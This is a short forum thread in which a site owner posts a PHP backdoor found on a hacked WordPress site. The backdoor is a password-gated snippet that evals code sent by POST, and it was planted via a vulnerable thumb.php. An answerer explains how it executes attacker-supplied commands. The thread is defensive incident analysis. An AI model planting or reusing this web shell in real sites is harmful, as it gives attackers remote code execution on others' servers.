Decrypt Malicious inserterted PHP

I had a client's WordPress website hacked last week because of a leaky thumb.php. Cleaned up the website and replaced the leaky thumb.php. A PHP file was added to the theme's cached:
if(md5($_POST["key"]) == "f732d47960be7e806861987f98a9574c"){
$cmd = $_POST["code"];
eval (stripslashes($cmd));
}

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I need someone to explain this code to me, Did find: http://wordpress.org/support/topic/new-hack-attempt-on-self-hosted-wordpress-site but no precise explanation was given

PS The malicious code consequently added to a WP core file I have not added here
rhandalthorAsked:
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Jason C. LevineConnect With a Mentor No oneCommented:
If a specially crafted post is sent to the site with a variable of "key" defined, line 1 evaluates and turns into a command that lines 2 and 3 execute.  

I assume it does something less than optimal :)
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rhandalthorAuthor Commented:
Yeah. Hadn't worked with $_POST for a while and certainly not this way. Well, think all is cleaned up and fortified again.. Thanks Jason.
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